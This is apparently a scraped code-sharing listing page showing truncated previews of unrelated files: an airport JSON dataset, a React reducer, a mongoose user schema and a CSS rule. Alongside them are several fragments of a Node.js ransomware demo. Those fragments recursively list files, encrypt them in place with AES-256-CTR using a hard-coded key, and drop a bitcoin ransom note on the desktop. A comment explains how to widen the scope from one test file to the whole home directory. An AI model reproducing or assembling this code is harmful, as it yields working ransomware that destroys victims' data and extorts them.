This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"00AK": { | |
"icao": "00AK", | |
"iata": "", | |
"name": "Lowell Field", | |
"city": "Anchor Point", | |
"state": "Alaska", | |
"country": "US", | |
"elevation": 450, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;(async () => { | |
// Change ../ to homedir to loop through all the changes | |
for await (const f of getFiles('../')) { | |
// this is just a check so that I only encrypt one file. | |
if(f === '/Users/nathan/Documents/Projects/ransomware/test/test.txt') { | |
const data = fs.readFileSync(f, 'utf8') | |
fs.writeFileSync(f, encrypt(data)) | |
fs.writeFileSync(`${homedir}/Desktop/unlock.txt`, 'To unlock your files you`ll need to send bitoin to this address') | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;(async () => { | |
// Change ../ to homedir to loop through all the changes | |
for await (const f of getFiles('../')) { | |
// this is just a check so that I only encrypt one file. | |
if(f === '/Users/username/Documents/Projects/ransomware/test/test.txt') { | |
const data = fs.readFileSync(f, 'utf8') | |
fs.writeFileSync(f, encrypt(data)) | |
} | |
} | |
})() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
async function* getFiles(dir) { | |
const dirEntries = await readdir(dir, { withFileTypes: true }); | |
for (const dirEntry of dirEntries) { | |
const res = resolve(dir, dirEntry.name); | |
if (dirEntry.isDirectory()) { | |
yield* getFiles(res); | |
} else { | |
yield res; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const encrypt = ((val) => { | |
let cipher = crypto.createCipheriv('aes-256-ctr', ENC_KEY, IV); | |
let encrypted = cipher.update(val, 'utf8', 'base64'); | |
encrypted += cipher.final('base64'); | |
return encrypted; | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const ENC_KEY = Buffer.from("bf3c199c2470cb477d907b1e0917c17bbf3c199c2470cb477d907b1e0917c17b", "hex"); | |
const IV = Buffer.from("5183666c72eec9e45183666c72eec9e4", "hex"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const fs = require('fs'); | |
const { resolve } = require('path'); | |
const homedir = require('os').homedir(); | |
const crypto = require('crypto'); | |
const { readdir } = require('fs').promises; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const initial = { | |
firstName: '', | |
lastName: '', | |
info: '' | |
}; | |
function exampleReducer(state, action) { | |
switch (action.type) { | |
case 'update_firstName': | |
return { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const schema = mongoose.Schema({ | |
_id: String, | |
firstName: String, | |
lastName: String, | |
username: String, | |
password: String, | |
email: String, | |
profile: Object, | |
games: Array, | |
balance: { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body { | |
background-color:black; | |
} |
NewerOlder